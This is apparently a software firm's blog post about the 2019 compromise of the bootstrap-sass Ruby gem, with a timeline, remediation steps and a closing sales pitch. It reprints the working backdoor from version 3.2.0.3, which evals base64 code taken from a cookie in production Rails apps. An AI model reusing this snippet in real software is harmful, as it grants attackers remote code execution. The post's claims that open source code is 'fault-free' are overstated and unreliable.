Open source application packages are easy to exploit given their reach and lack of robust security measures. The recent code vulnerabilities arising in bootstrap-saas Ruby gem are a result of incapacitated account security. We look into the malicious activity to understand what really caused it and learn what can be done to eradicate such a situation in the future.
A popular Ruby Gem, bootstrap-sass, was compromised recently and the malicious version (3.2.0.3) was made available to download on the official RubyGems site. The version included a backdoor that allowed attackers to remotely command execution from the server-side of the Rails application.
What Went Down
On March 26, a bootstrap-sass user, Derek Barnes, came across the suspicious version of bootstrap-saas on the RubyGems official repository. This version (3.2.0.3) wasn’t released on GitHub. With the release of the malicious version, the previous version (3.2.0.2) was removed from the RubyGems repository. These events weren’t mentioned in the changelogs, which is uncommon. He compared the two versions using *diff* and found the following malicious code fragment:
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
endIt was noted that if users run the application in its production mode (Rails.env.production), the code readily accepts the content from (\_\_\_cfduid), a user cookie. And then, it decodes it with base64 and runs the result through *eval* thus remotely executing whatever command is provided.
Derek Barnes added a thread on GitHub to inform other users and to seek an explanation from the application maintainers. Shortly after the thread was published, the bootstrap-saas maintainers confirmed the suspicious code to be a backdoor.
Early in the process of understanding the malicious code fragment, the maintainers of bootstrap-saas did not know how the backdoor was added. It wasn't even confirmed which (of the two) accounts were attacked, which means that there is no guarantee that the attackers can’t find another way. Additionally, the lack of robust security at RubyGems official repository makes the system much more vulnerable as there are no multi-factor authentication or/and activity logs required.
Gleb Mazovetskiy, one of the bootstrap-saas maintainers admitted: “I did have a relatively weak password for RubyGems account.” According to Mazovetskiy, he created the account a long time ago before the site had any of its current password policies.
Thomas McDonald, another maintainer, added to the conversation: “Given my lack of activity on this project, I’m also happy to revoke my write access to the gem.”
Are open source applications vulnerable to threats?
With popular open source packages, there is an incredible reach that the attackers want to exploit. This is why they go to great lengths to use techniques like social engineering and phishing to access popular open source packages. A similar attack that happened last October where a cryptocurrency-stealing code was added to the Node.js package is a good example of how attackers can gain access to popular open source packages. The attacker somehow convinced a legitimate maintainer to give him access and later locked the maintainer out.
In the recent case, the damage was less severe as the maintainers were able to yank the backdoor code immediately after its discovery, and the new version (3.2.0.4) was made available on April 4. The new version holds absolute similarity to the 3.2.0.2 version (the one that was compromised in March of this year). The maintainers also recommend users to upgrade to the latest branch, 3.4.x, for increased security.
However, despite the threats, open source projects often are considered a better option due to unprecedented quality that may not be found in proprietary solutions and closed codebase. The difference between code quality mainly occurs due to the fact that proprietary code may not be thoroughly tested and usually doesn’t have a large community of users involved.
The bigger the community of a repository, the better quality and security you can get. Ruby on Rails is a great example of the open source projects that developed through the years to offer a fault-free code.
With open source projects, there is a huge community constantly verifying the code quality and security measures which eradicates the potential bugs that can jeopardize the integrity of your application. In addition, the open source code often goes through a rigorous process of review by involved QA engineers, contributors, and maintainers before it is added to the repository. This comprehensive process of review makes open source projects reliable for myriad applications.
The attack timeline
| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| | Version 3.2.0.2 was taken off from the official RubyGems registry with an intent to be replaced by the malicious version (3.2.0.3) |
| March 26th, 2019 | Version 3.2.0.3 was published on RubyGem repository by malicious attackers. The version had a hidden backdoor in the following file: lib/active-controller/middleware.rb. |
| | The version 3.2.0.3 matched SHA256 checksum 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0. |
| March 26th at 10:59 PM GMT | Derek Barnes, a bootstrap-saas user published the issue regarding his suspicion about the code fragment in version 3.2.0.3 to notify the maintainers and the community. |
| March 26th at 11:56 PM GMT | After an hour of its release, the malicious version was removed from the official RubyGems repository and it was confirmed that the accounts’ credentials have been updated. |
| | As both 3.2.0.3 and 3.2.0.2 versions were being removed, users had to upgrade to alternate versions like 3.4.1, based on the maintainers’ recommendation. |
| April 3rd, at 4:10 PM GMT | A new version, 3.2.0.4, was released with features identical to the retracted version, 3.2.0.2. |
What to do if you are affected by the attack?
If you have learned that your Rails application is affected by the vulnerable code, you need to take an immediate action to replace 3.2.0.3 with the recently published 3.2.0.4. We recommend that you let a professional test your repositories to ensure that the upgrade has been made successfully and that your application is safe from future vulnerabilities.
How to prevent code vulnerabilities?
Every application is susceptible to a certain degree of vulnerability caused by malicious attacks, poor quality code, and bugs that are overlooked during the development process. These potential vulnerabilities can be easily eradicated through robust development and quick upgrades.
Did your Rails application get affected by this malicious activity? If so, we can help you upgrade to the newly published version (3.2.0.4) and ensure that your application is safe from such attacks in the future. Here at iRonin, we offer robust software development for your projects so you can eradicate the potential of code vulnerabilities that can impact the integrity of your application.
